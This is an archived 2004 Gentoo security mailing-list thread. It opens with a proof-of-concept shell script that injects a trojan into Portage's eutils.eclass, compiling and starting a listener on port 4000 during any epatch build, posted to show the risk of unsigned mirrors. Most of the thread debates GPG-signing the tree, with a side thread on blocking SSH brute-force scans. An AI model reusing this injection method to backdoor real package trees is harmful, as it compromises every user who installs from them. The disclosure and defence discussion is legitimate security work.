[gentoo-security] Trojan for Gentoo, part 2

[gentoo-security] Trojan for Gentoo, part 2

[Alexander Holler]

Hi,

after 1.5 years (2 years after the bug could could found in bugzilla) it 
seems that one of the highest security risks is closed. At least I've 
seen something about signed ebuilds. (see 
http://marc.theaimsgroup.com/?l=gentoo-security&m=104816199500974&w=2 ).

Time for the next part. I've already written a bug for that a year ago, 
but it was now closed a second time by "the ... gatekeeper".

See bug #26110

Here's the next small script. If you are operating a gentoo mirror, or 
having access to one, feel free to play with it.

If you are a user, the only practical way to ensure a minimum of 
security is to sync twice:
  (a) sync,
  (b) delete timestap,
  (c) sync with other mirror and
  (d) look if no files where different, otherwise restart with (a)

----------------gentooTrojan.sh---------------------------
#!/bin/sh
if [ ${#} -ne 1 ] ; then
   echo "This script puts a silly trojan into Gentoo's portage."
   echo "Usage: `basename ${0}` PathToPortage"
   exit 1
fi

mv ${1}/eclass/eutils.eclass ${1}/eclass/eutils-without-trojan.eclass
sed -e 's:^epatch().*{:epatch()  {\newarn "Starting Trojan.\nTry it with 
telnet localhost 4000.\nKill it with killall 
GentooTrojan."\n${PORTDIR}/eclass/GentooTrojan \&\n:' 
<${1}/eclass/eutils-without-trojan.eclass >${1}/eclass/eutils.eclass
cat >${1}/eclass/GentooTrojan.c << EOF
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(void)
{
         struct  sockaddr_in     serv;
         struct  sockaddr_in     cli;
         int     sock;
         sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
         if (sock < 0)
                 return 1;
         bzero((char *) &serv, sizeof(serv));
         serv.sin_family = AF_INET;
         serv.sin_addr.s_addr = htonl(INADDR_ANY);
         serv.sin_port = htons(4000);
         if (bind(sock, (struct sockaddr *) &serv, sizeof(serv)) < 0)
                 return 1;
         if (listen(sock, 5) < 0)
                 return 1;
         while (1) {
                 int     scli;
                 int     slen;
     static char *str="Your are listing to the famous Gentoo trojan!\n";
                 slen = sizeof(cli);
                 scli = accept(sock, (struct sockaddr *) &cli, 
(socklen_t *) &slen);
     write(scli, str, strlen(str));
     close(scli);
         }
}
EOF

gcc -o ${1}/eclass/GentooTrojan ${1}/eclass/GentooTrojan.c

echo "Done. Portage successful infected with a trojan."
echo "Just emerge an ebuild which uses epatch and do a"
echo "  telnet localhost 4000"
echo "afterwards."
-------------------------------------------

Kind regards,

Alexander Holler


PS: Please don't reply to me, I don't read any Gentoo mailing lists 
anymore, in fact I even don't know why I'm writting this message, as I 
already have lost every interest in Gentoo some time ago.

PPS: Sorry for that hard words, but that all reminds me on Microsoft. 
The "eclass-hell" is as bad as the "dll-hell" and some bugs are getting 
forgotten, ignored or fixed in the same time.

PPPS: I really appreciate all the very good work on hardened gcc, 
selinux-profiles and so on, but for me, this all seems useless as long 
as the base is compromised that easy and the user has no practical way 
(e.g. hashs) to check what he gets on his machine with a 'sync'.

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Trojan for Gentoo, part 2

[Chris Frey]

On Sat, Nov 06, 2004 at 09:16:11PM +0100, Alexander Holler wrote:
> Hi,
> 
> after 1.5 years (2 years after the bug could could found in bugzilla) it 
> seems that one of the highest security risks is closed. At least I've 

1.5 years is a long time to figure out how to sign an ebuild.  It puzzles
me that there is such resistence to these security steps, and not just
in Gentoo.

Maybe in 1.5 years checking signed ebuilds will be the rule instead of
the exception. :-)

Thanks for the reminder Alexander.

- Chris


--
gentoo-security@gentoo.org mailing list

[gentoo-security] help blocking automated ssh scanning attack script

[Brian G. Peterson]

I've noticed over the last few months that ssh attack scanning scripts have 
been proliferating.  The scripts attack using a common set of usernames with 
weak password combinations, and result in a long line of log entries like:

Nov  6 17:44:18 ethos sshd[3808]: Illegal user test from 211.185.202.3
Nov  6 23:06:27 ethos sshd[8521]: Illegal user rolo from 222.47.83.41

The common usernames are admin root webmaster data rolo guest test patrick 
iceuser www horde wwwrun cyrus courier www-data irc jane pamela cosmin cip51 
cip52 sybase oracle mysql master account server henry frank adam george 
(included here for easier googling on the problem)

I use the excellent portsentry to detect and shut down IP's that do 
traditional nmap-style portscans of my machines.  This attack script isn't a 
port scan, so it just shows up in my security log summaries every morning.  

Can anyone help me out with a simple log scanning script that could detect the 
'illegal user xxx' strings in /var/log/secure and issue the 
"/sbin/iptables -I INPUT -s 221.232.128.2 -j DROP" command to shut these 
addresses down.

The scan volume is up to about two a day on each of my servers, and I'd like 
to get this crap out of my logs

Any assistance appreciated: I and many other people would thank anyone who 
would whip up a script to block this stuff.

Regards,

   - Brian 

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] help blocking automated ssh scanning attack script

[Gary Nichols]

Brian,

Is there a reason that you have to run ssh on the default port of 22?   
I haven't run ssh on port 22 in years due to all the menacing kiddies 
out there with their scripts.
I know this doesn't answer your question, but just a suggestion.

Gary


On Nov 7, 2004, at 6:10 AM, Brian G. Peterson wrote:

> Can anyone help me out with a simple log scanning script that could 
> detect the
> 'illegal user xxx' strings in /var/log/secure and issue the
> "/sbin/iptables -I INPUT -s 221.232.128.2 -j DROP" command to shut 
> these
> addresses down.


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] help blocking automated ssh scanning attack script

[Brian G. Peterson]

On Sunday 07 November 2004 07:16 am, Gary Nichols wrote:
> Brian,
>
> Is there a reason that you have to run ssh on the default port of 22?
> I haven't run ssh on port 22 in years due to all the menacing kiddies
> out there with their scripts.
> I know this doesn't answer your question, but just a suggestion.

Yes, I frequently travel to and work from client companies with very 
restrictive outbound firewalls.  Port 22 (and port 8080) are (usually) open 
on those firewalls, so my servers listen for ssh connections on those ports.  

ssh on my machines is also configured to only allow key-based authentication, 
only certain users are allowed to ssh into my boxen remotely from external 
IP's, etc..., so this script is *not* really a threat to me.  

I just want to shut it down before it totally litters my logs, if possible, 
and also perhaps help out people who don't have sshd as locked down as I do.

The Gentoo forum thread here:
http://forums.gentoo.org/viewtopic.php?t=210585
and here:
http://forums.gentoo.org/viewtopic.php?t=210585&postdays=0&postorder=asc&start=36
talks about using iptables to detect port scans, which is what I use 
portsentry for.  However, in most cases this script isn't doing a port scan, 
just attacking on port 22.

> On Nov 7, 2004, at 6:10 AM, Brian G. Peterson wrote:
> > Can anyone help me out with a simple log scanning script that could
> > detect the
> > 'illegal user xxx' strings in /var/log/secure and issue the
> > "/sbin/iptables -I INPUT -s 221.232.128.2 -j DROP" command to shut
> > these addresses down.

Regards,

 - Brian

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] help blocking automated ssh scanning attack script

[Rui Covelo]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1




Yes, this has been discussed in this mailing list some months ago. I
just don't thing there's any reason to become paranoid unless you
administer a box with lots of "dumb users". Because "dumb users" usualy
choose "dumb passwords", you'll proabably have to educate them or force
them to user better passwords.

Myself, I just use strong passwords and a different ssh port just to
keep my logs clean.





Brian G. Peterson wrote:
| I've noticed over the last few months that ssh attack scanning scripts
have
| been proliferating.  The scripts attack using a common set of
usernames with
| weak password combinations, and result in a long line of log entries like:
(...)
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBjiUdfLPhlaxNQk0RAmLXAJ9f4s2bY7iJwMZlxS7F22HaHPQCmQCfddTX
38i7v9jwwcOnpgwLMP2FZmk=
=Gr67
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] help blocking automated ssh scanning attack script

[aScii]

On Sun, 7 Nov 2004 07:10:21 -0600
"Brian G. Peterson" <brian@braverock.com> wrote:

> Can anyone help me out with a simple log scanning script that could detect the 
> 'illegal user xxx' strings in /var/log/secure and issue the 
> "/sbin/iptables -I INPUT -s 221.232.128.2 -j DROP" command to shut these 
> addresses down.

you should put ssh on an other port, if you are paranoid you can
use port knocking to remove the drop on sshd for your ip

on the port 22 you can put portsentry in stcp/sudp or simply
tcp/udp (consider also atcp and audp) and run the kill command
(eg: iptables drop) instead editing hosts.deny (sshd implements it's 
own tcp wrapper and doesn't use tcpd and hosts files)

-- 
Francesco 'aScii' Ongaro
mail [ascii@ush.it] [ascii@katamail.com]
http [www.ush.it] [www.ush.it/team/ascii] [ascii.ush.it]
machines [asciinb.zapto.org] [asciistation.zapto.org]


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] help blocking automated ssh scanning attack script

[Kim Nielsen]

[-- Attachment #1: Type: text/plain, Size: 612 bytes --]

On Sun, Nov 07, 2004 at 02:50:42PM +0100, aScii wrote:
> On Sun, 7 Nov 2004 07:10:21 -0600
> "Brian G. Peterson" <brian@braverock.com> wrote:
> 
> > Can anyone help me out with a simple log scanning script that could detect the 
> > 'illegal user xxx' strings in /var/log/secure and issue the 
> > "/sbin/iptables -I INPUT -s 221.232.128.2 -j DROP" command to shut these 
> > addresses down.
> 

Why not use ssh-keys only (with passphrase min 30 chars long) and maybe block everything on port 22 except from a trusted host (Somewhere you trust and where they update their ssh)

my 2 cents

/Kim


[-- Attachment #2: Type: application/pgp-signature, Size: 198 bytes --]

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Jason Rojas]

[-- Attachment #1: Type: text/html, Size: 1925 bytes --]

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Carsten Lohrke]

[-- Attachment #1: Type: text/plain, Size: 113 bytes --]

On Sunday 07 November 2004 15:50, Jason Rojas wrote:

Pleas stop spamming us with html emails. Thanks.


Carsten

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 616 bytes --]

On Sat, Nov 06, 2004 at 07:31:25PM -0500 or thereabouts, Chris Frey wrote:
> 1.5 years is a long time to figure out how to sign an ebuild.  It puzzles
> me that there is such resistence to these security steps, and not just
> in Gentoo.

It may have been a long time coming, but that doesn't mean there is
"resistance" to implementing the security measures.  It simply means that
other things have taken priority up until now.

I can easily use the same flawed logic and say, "well, none of our users
ever bothered to submit patches to portage to implement GPG signing, so it
must not be important to them."

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: Trojan for Gentoo, part 2

[Peter Simons]

Kurt Lieber writes:

 > I can easily use the same flawed logic and say, "well,
 > none of our users ever bothered to submit patches to
 > portage to implement GPG signing, so it must not be
 > important to them."

I think it is important to stress that everybody is on the
same side here. The important thing right now is how to
_fix_ this problem. As I see it, the simplest possible
solution is this:

 (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
     the Gentoo main system.

 (2) Sign the output with GPG.

 (3) Put it into the portage tree.

 (4) If the user has GPG installed and has manually put the
     appropriate public key in some place _outside_ of the
     portage tree, have "emerge sync" verify that the
     signature is intact and all hashes hold.

Done.

This is by no means perfect, obviously. But even if it means
that a dozen people have access to the secret key that
generates the signature, it is still a lot better than the
current situation.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 1237 bytes --]

On Sun, Nov 07, 2004 at 04:44:32PM +0100 or thereabouts, Peter Simons wrote:
> I think it is important to stress that everybody is on the
> same side here. The important thing right now is how to
> _fix_ this problem. As I see it, the simplest possible
> solution is this:
> 
>  (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
>      the Gentoo main system.
> 
>  (2) Sign the output with GPG.
> 
>  (3) Put it into the portage tree.
> 
>  (4) If the user has GPG installed and has manually put the
>      appropriate public key in some place _outside_ of the
>      portage tree, have "emerge sync" verify that the
>      signature is intact and all hashes hold.
> 
> Done.


People place way to much reliance on GPG and other public/private key
systems...

Let's assume we implement the above steps.  What does that buy you?  How do
you know how many people have a copy of the private key used to sign that
data?  How do you know what sort of passphrase is used on it? (or if it
even has a passphrase)  How do you know the box that holds the private key
is secure?

Most importantly, how do you know when to stop?  At some point, you're
going to have to accept some level of risk.  

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Jan Groenewald]

Hi

On Sun, Nov 07, 2004 at 03:49:22PM +0000, Kurt Lieber wrote:
> On Sun, Nov 07, 2004 at 04:44:32PM +0100 or thereabouts, Peter Simons wrote:
> > I think it is important to stress that everybody is on the
> > same side here. The important thing right now is how to
> > _fix_ this problem. As I see it, the simplest possible
> > solution is this:
> >  (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
> >      the Gentoo main system.
> >  (2) Sign the output with GPG.
> >  (3) Put it into the portage tree.
> >  (4) If the user has GPG installed and has manually put the
> >      appropriate public key in some place _outside_ of the
> >      portage tree, have "emerge sync" verify that the
> >      signature is intact and all hashes hold.
> People place way to much reliance on GPG and other public/private key
> systems...
I see your message is signed :) I use the ASCII one below, he he.
The reliance on those are justified though, I think.

IMHO the weak link in security is always people and procedures, not the math
or the  crypto. This suggestion improves the procedure and lessens the
number of people at a low cost (if the developers/sysadm in question
agree). It could  be tested, eventually made the default, and the option
retained not to use it. That is probably crucial since some developers
will have variations on the standard user setup.

> Let's assume we implement the above steps.  What does that buy you?  How do
> you know how many people have a copy of the private key used to sign that
> data?  How do you know what sort of passphrase is used on it? (or if it
> even has a passphrase)  How do you know the box that holds the private key
> is secure?
Gentoo publishes on their website the number of people who has this?

> Most importantly, how do you know when to stop?  At some point, you're
> going to have to accept some level of risk.  
When it is too much effort for the security gain. I can't really judge,
but the above suggestion seems easy. Security is a trafe-off, due credit
to Bruce Schneier. It's a process, and this thread might lead to above
implementation, after some review and discussion on list. Seems like
meta-objection to me, one about the process, which I think actually
works fine. That's not only why I use open source, it is why I
aggresively advocate it.

Much of this thread has been meta-discussion: Is it a problem?, should
it be fixed?, etc. It was refreshing to see the above suggestion to a
solution. Is it a good one?

cheers,
Jan
-- 
   .~.
   /V\     Jan Groenewald
  /( )\    http://www.aims.ac.za/
  ^^-^^

--
gentoo-security@gentoo.org mailing list

[gentoo-security] Re: Trojan for Gentoo, part 2

[Peter Simons]

Kurt Lieber writes:

 >> (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
 >> the Gentoo main system.
 >>
 >> (2) Sign the output with GPG.
 >>
 >> (3) Put it into the portage tree.
 >>
 >> (4) If the user has GPG installed and has manually put the
 >> appropriate public key in some place _outside_ of the
 >> portage tree, have "emerge sync" verify that the
 >> signature is intact and all hashes hold.

 > Let's assume we implement the above steps. What does that
 > buy you?

It makes it impossible to temper with the portage tree for
everyone except those who have access to the secret key.
This rules out ...

 (1) man-in-the-middle attacks over the network,

 (2) attacks from random mirror admins,

 (3) attacks from random Gentoo developers.

Furthermore, if you have one GPG key per developer and
authenticate those keys with another GPG key that's not
available on a machine connected to the network, then you
also have significantly more auditing capabilities than you
have right now.


 > How do you know how many people have a copy of the
 > private key used to sign that data?

The scheme doesn't protect me against a compromised GPG key.


 > How do you know what sort of passphrase is used on it?

I do not know. Instead, I trust the Gentoo developers to
choose a sensible one because I know you guys are really
smart and capable technicians.


 > Most importantly, how do you know when to stop? At some
 > point, you're going to have to accept some level of risk.

Sorry, but I always get nervous when I am talking about a
very specific technical problem and people answer with very
general, philosophical thoughts. I _know_ that I have to
trust someone sooner or later. But let's keep the number of
people I have to trust as small as possible.

Right now, I have to trust the entire network. I don't know
about others, but that's slightly above the level of risk I
am willing to accept.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Peter Simons wrote:
> Right now, I have to trust the entire network. I don't know
> about others, but that's slightly above the level of risk I
> am willing to accept.

Peter is unfortunately right. With unencrypted rsync, we aren't even
talking about just trusting mirror admins (who for one thing are
probably not quite as seriously vetted as developers with commit access,
and for another have been compromised in the past), we're talking about
trusting every possible man in the middle. If we were doing rsync over
ssh, at least we'd be preventing DNS spoofing leading to fake rsync
mirrors giving us fake ebuilds (assuming the ssh private keys of the
given mirror were not compromised). And if we were doing GPG signing,
we'd be secure against not just that but against rogue mirror admins,
compromised infrastructure higher up the chain, and so forth.

Yes, this has the basic assumption that the private key is secure, but
all secure systems make a few basic assumptions, so this is hardly
unprecedented (we cannot thoroughly prove the security of RSA, and we
often can't even come close for symmetric-key systems), but that doesn't
mean that they have inherently zero value. I find that sort of argument
to be quite flawed, because it's essentially saying, ``Well, nothing is
provably secure, so why even have secure systems?''

- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5SuLDO2aFJ9pv2AQLu2Af+MWe9DoDzeEi1he7bnmGK1BqKo3a7yUMj
2YZIhMFIVwNlldW+ZmrgbzO1rCDny7qhr5g9R0HJRqrdU4CH+bqUTO3XdFydhNC5
alf/GbJNt8UUY9mHjuMuUNvMp2jckI4oMLEile06i8gCZLCkQr8hkI3awF1/8jA6
uGIy+avR+40zRoIlPKX8e1AvVZBMzAgh1UGCLZwnnX/bw1iUD8h0vn+4899iubUg
SvCG+SxA/HkZzBYhXMz3z4C/431cwyAJQBcl6M+6ObZATiOO8iZuf0JDq/11fZyN
3e84eR1Yzepi922mjZOdPlGylC5+ISJdXOI8cPMHJHBX/DLcU4Da9w==
=CG+7
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Andreas Waschbuesch]

[-- Attachment #1: Type: text/plain, Size: 1895 bytes --]

epistula illius Dan Margolis profluit verbis:
> [...]
> Yes, this has the basic assumption that the private key is secure, but
> all secure systems make a few basic assumptions, so this is hardly
> unprecedented (we cannot thoroughly prove the security of RSA, and we
> often can't even come close for symmetric-key systems), but that
> doesn't mean that they have inherently zero value. I find that sort of
> argument to be quite flawed, because it's essentially saying, ``Well,
> nothing is provably secure, so why even have secure systems?''
> [...]

Sorry, but i completely disagree. Guidelines exist. The "weakest link" and 
"general participation" strategy base is lacking, signed ebuilds or not. 
I could open some - as ist seems - "usefull" sourceforge-project and 
inject any "additional" code on gentoo systems, while submitting a 
perfectly "legal" ebuild, signed to "heavenly" trust. Will security 
developers check the source? Will the users do it? It's just one possible 
"leak", but it's the first one. So where is the security? It's gone, 
since nobody actually can nor could foresee or calculate anything as long 
as there is no global code auditing implemented.

Good will, ideas, step by step implemented - apreciated. Maybe many 
$PROJECTS would "follow". But one fact remains: the complete process has 
to be dealt with: from source-generation over distribution to 
installation. And as long as it's not completely done, security is not 
calculable and therefore "zero". So dealing with signed ebuilds 
securitywise is like dealing with signs on the frontdoor saying "this 
house is safe".

My 2 cents ...

-- 
Andreas Waschbuesch, GAUniversity KG MA FNZ FK01
eMail: awaschb@gwdg.de

Said the attractive, cigar-smoking housewife to her girl-friend: "I got
started one night when George came home and found one burning in the 
ashtray."

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Dan Margolis]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Andreas Waschbuesch wrote:
> I could open some - as ist seems - "usefull" sourceforge-project and 
> inject any "additional" code on gentoo systems, while submitting a 
> perfectly "legal" ebuild, signed to "heavenly" trust. 

The point is that if we implement signing, a user can say, ``Well, I
distrust the authors of this sourceforge project'' if they wish. But if
we do not, they may trust the authors and yet still not be able to trust
the source.

So the reasonable, expected behavior from portage is that the source
downloaded is the source it claims to be. If we do not trust the
original source, we needn't install the package, but if we do, we should
be able to trust the package implicity. Right now, we cannot trust the
package, even if we trust the original authors. Signing fixes this problem.

Again, this is like saying that since we have not had the NSA conduct
background checks on each and every open source developer, we should not
trust their products. Well, fine, then don't install them. But if you
decide you trust the folks at kernel.org, or KDE, or GAIM, or whatever,
you should be able to trust the vanilla-sources ebuild, or the kde
ebuild, or the gaim ebuild. Right now, you cannot. So even when one does
choose to trust upstream, he cannot trust portage. That is broken.

- --
Dan "KrispyKringle" Margolis
Security Coordinator/Audit Project, Gentoo Linux
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (Darwin)

iQEVAwUBQY5g5LDO2aFJ9pv2AQKDSAf+KXpMW/CTzVAp3KZjVoPHuHlWutd8U+l1
2NbsMvHEp0dJ4LBPakw48m4Py5jBm8ZkCxLFbo4kd1T1RczDXanuT9ou1K6+qQSk
MhEOG+LD/71h+S5NRZUkoaDBhCTPtnXRVlP3SRNSZS2/AxlBWB5wv8U7W/V5i/Fk
0klyGfpCSlx9OjR5X1itX4opYd30HP57TTIKuqV0OEgonkHmPR91bJhYo468W5Yc
ujz942WmMxuGawjDH163QmABegLbV++tgBJqiyXYguobxOEVRWCoaaJh4PfGvdVd
Ce3QyrpVKYavlc8eHUkyLWF8yaBSD4BsBLUGLAvWfnfOc2zDAwbPQg==
=5OuB
-----END PGP SIGNATURE-----

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Chocron J.]

Hi, 

I have read all 42 messages that deal with this problem. I have been a Gentoo 
since the very beginning of the distro, and quite a paranoid one too. 
However, if I understand what has been said here, even if we sign all ebuilds 
and source packages, an issue would still remain : trust. You will have to 
trust that the signature you have gotten is not compromised, and that the 
source code has not been compromised before it was signed. Moreover, you 
would have to trust that the person that signed the ebuild has both the 
skills and ethics necessary.

What I'll say now, can be taken as a rather simplistic view of the problem. If 
I am wrong, I will stand corrected, but I would like an explanation :

While I was reading those mails, I was drinking my favorite orange juice. It 
occurred to me then that I had absolutely no assurance that it was not 
poisonned. In effect, I have to trust the people that grew and collected the 
oranges (in our case the people that programmed the source package), the 
people that pressed the oranges and put the juice into a bottle (the devs who 
design the ebuild), the people who conveyed the bottle to my local 
supermarket (i.e people that manage the mirrors) not to have put poison in my 
orange juice. Moreover, I have to trust them to have stood guard to ensure 
that no third party had had access to my orange juice  at any moment in the 
process to put poison in it. However, there I was, drinking it. And I would 
not for the life of me demand that my orange juice be signed digitally to 
ensure that it is safe to drink.

The thing is, I trust the package's devs, I trust the Gentoo devs, I trust the 
mirror maintainers, I trust their ISP and mine. So I actually do not see the 
problem we have here. And just for the sake of the analogy, yes it is 
actually quite as easy to poison my orange juice as to compromise a package 
at any stage.

Again, I do not know if this is relevant, but if it is not, I would really 
like to know why I am wrong to consider things this way.

-- Jonathan

Le Dimanche 7 Novembre 2004 18:52, Dan Margolis a écrit :
> gpgkeys: WARNING: this is an *experimental* HKP interface!
> gpgkeys: key B0CED9A149F69BF6 not found on keyserver
>
> Andreas Waschbuesch wrote:
> > I could open some - as ist seems - "usefull" sourceforge-project and
> > inject any "additional" code on gentoo systems, while submitting a
> > perfectly "legal" ebuild, signed to "heavenly" trust.
>
> The point is that if we implement signing, a user can say, ``Well, I
> distrust the authors of this sourceforge project'' if they wish. But if
> we do not, they may trust the authors and yet still not be able to trust
> the source.
>
> So the reasonable, expected behavior from portage is that the source
> downloaded is the source it claims to be. If we do not trust the
> original source, we needn't install the package, but if we do, we should
> be able to trust the package implicity. Right now, we cannot trust the
> package, even if we trust the original authors. Signing fixes this problem.
>
> Again, this is like saying that since we have not had the NSA conduct
> background checks on each and every open source developer, we should not
> trust their products. Well, fine, then don't install them. But if you
> decide you trust the folks at kernel.org, or KDE, or GAIM, or whatever,
> you should be able to trust the vanilla-sources ebuild, or the kde
> ebuild, or the gaim ebuild. Right now, you cannot. So even when one does
> choose to trust upstream, he cannot trust portage. That is broken.
>
> --
> Dan "KrispyKringle" Margolis
> Security Coordinator/Audit Project, Gentoo Linux

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Trojan for Gentoo, part 2

[Andreas Waschbuesch]

[-- Attachment #1: Type: text/plain, Size: 2767 bytes --]

epistula abs te missa profluit verbis:
> The point is that if we implement signing, a user can say, ``Well, I
> distrust the authors of this sourceforge project'' if they wish. But if
> we do not, they may trust the authors and yet still not be able to
> trust the source.

He wouldn't be able to trust it with signatures neither. How will he get 
the source while "trusting" the author? From a server that's "maintained" 
and announced by a DNS that's "maintained", all of them running software 
that's "maintained", with source being uploaded over "maintained" ISP 
lines, checked against "maintained" keys on "maintained" servers etc. 
etc. etc.

> So the reasonable, expected behavior from portage is that the source
> downloaded is the source it claims to be. If we do not trust the
> original source, we needn't install the package, but if we do, we
> should be able to trust the package implicity. Right now, we cannot
> trust the package, even if we trust the original authors. Signing fixes
> this problem.

MD5 hashes are sufficient then, because one would have to trust "other's" 
keys, rely on their correct usage, their propper storage etc. etc. The 
"technical" sin comparing md5 hashed packages to gpg-signed packages is 
securitywise just statistical, and therefore of no use for the single 
user with respect to the total process selecting, getting, compiling and 
installing a certain package. One always got to accept a certain point of 
basic trust, agreed. But the question _here_ is: is this certain point 
more calculable and therefore more secure by using gpg-signed ebuilds? 
I'd still disagree.

> Again, this is like saying that since we have not had the NSA conduct
> background checks on each and every open source developer, we should
> not trust their products. Well, fine, then don't install them. But if
> you decide you trust the folks at kernel.org, or KDE, or GAIM, or
> whatever, you should be able to trust the vanilla-sources ebuild, or
> the kde ebuild, or the gaim ebuild. Right now, you cannot. So even when
> one does choose to trust upstream, he cannot trust portage. That is
> broken.

Again: what is won? (In terms of CALCULABLE security gain for the 
individual user.)  I would go over a bridge, as long as the sign at the 
entrance would say "up to 2 tons". But I'd eventually rather climb down, 
walk, swim (whatever), if it would say "95%". So finally: signed ebuilds 
add 0,5%. It's statistically more secure, but practically of no use 
(apart from that fluffy "security enhanced feeling" maybe).

-- 
Andreas Waschbuesch, GAUniversity KG MA FNZ FK01
eMail: awaschb@gwdg.de

The new annoyance filter is so advanced that
some people arrive on the list pre plonked.

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] How to authenticate the portage tree

[Peter Simons]

(1) Run "find /usr/portage -type f | xargs sha1sum -b" on
    the Gentoo main system.

(2) Sign the output with GPG.

(3) Put it into the portage tree.

(4) If the user has GPG installed and has manually put the
    appropriate public key in some place _outside_ of the
    portage tree, have "emerge sync" verify that the
    signature is intact and all hashes hold.

(5) Missing files in the tree are okay (rsync_excludes),
    files in the tree which do not have a hash are not okay.


--
gentoo-security@gentoo.org mailing list

[gentoo-security] Gentoo Portage Attack Tree

[Ervin Németh]

Peter Simons wrote:
> (1) Run "find /usr/portage -type f | xargs sha1sum -b" on
>     the Gentoo main system.
> 
> (2) Sign the output with GPG.
> 
> (3) Put it into the portage tree.
> 
> (4) If the user has GPG installed and has manually put the
>     appropriate public key in some place _outside_ of the
>     portage tree, have "emerge sync" verify that the
>     signature is intact and all hashes hold.
> 
> (5) Missing files in the tree are okay (rsync_excludes),
>     files in the tree which do not have a hash are not okay.

This is a good start, but I have some thoughts.

Let's see the attack tree against Gentoo portage. The attacker wants to 
inject malicious code into the tree, he has several choices now:

1) Attack the end user's machine

2) Attack the connection between the end user and the Portage mirror

3) Attack the mirror machine

4) Attack the connection between the main site and the mirror

5) Attack the main site

6) Attack the connection between the developer and the main site

7) Attack the developer's machine

Your algorithm eliminates the risc in leafs from 2 to 4.

How about this: the developers have to sign the files they upload, but 
do this before they upload them,? This would eliminate leafs 5 and 6, too.


/Ervin

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Gentoo Portage Attack Tree

[Kurt Lieber]

[-- Attachment #1: Type: text/plain, Size: 311 bytes --]

On Mon, Nov 08, 2004 at 10:37:16AM +0100 or thereabouts, Ervin N?meth wrote:
> How about this: the developers have to sign the files they upload, but 
> do this before they upload them,? This would eliminate leafs 5 and 6, too.

This is already supported in portage.  This is how it works today.

--kurt

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[gentoo-security] Re: Gentoo Portage Attack Tree

[Peter Simons]

Ervin Németh writes:

 > How about this: the developers have to sign the files
 > they upload, but do this before they upload them?

I believe that it is practically unfeasible to verify the
signatures of dozens of people which are spread over dozens
of different directories. By building the signatures into
Portage only, you require the user to have a working Gentoo
system before he can verify he has a _real_ Gentoo system.
When Portage runs the checks, it is too late. You have to be
able to verify the authenticity of your downloaded files
before you start the first executable you've downloaded.
That's why I am in favor of a simple, ordinary text file
which is GPG-signed and contains ordinary hashes.

Peter


--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] Re: Gentoo Portage Attack Tree

[Ed Grimm]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: TEXT/PLAIN; charset=utf-8, Size: 1637 bytes --]

On Mon, 8 Nov 2004, Peter Simons wrote:
> Ervin Németh writes:
>> How about this: the developers have to sign the files
>> they upload, but do this before they upload them?
>
> I believe that it is practically unfeasible to verify the
> signatures of dozens of people which are spread over dozens
> of different directories. By building the signatures into
> Portage only, you require the user to have a working Gentoo
> system before he can verify he has a _real_ Gentoo system.
> When Portage runs the checks, it is too late. You have to be
> able to verify the authenticity of your downloaded files
> before you start the first executable you've downloaded.
> That's why I am in favor of a simple, ordinary text file
> which is GPG-signed and contains ordinary hashes.

Before you have a Gentoo system, you need to download a Gentoo CD image,
or you need to get a Gentoo CD.  The Gentoo CD images can be signed
themselves, so you can verify it before it is extracted.

After you've booted with the install image, it's too late - how do you
trust the software on the install disk, if you haven't checked it
already?

Is there a way you can install Gentoo without using an install image?
Well, I know one, but it basically would be 'download portage code,
check signature, install code, run code'.  I don't see the problem.  The
only way I'd see a problem here is if the user didn't have cryptographic
checking software already, in which case it isn't a problem, because the
user is trusting everything.  (That is, there's nothing you can do to
assure them of the Gentoo package authenticity, so there's no need to
worry about it.)

Ed

[-- Attachment #2: Type: text/plain, Size: 42 bytes --]

--
gentoo-security@gentoo.org mailing list

Re: [gentoo-security] How to authenticate the portage tree

[Marius Mauch]

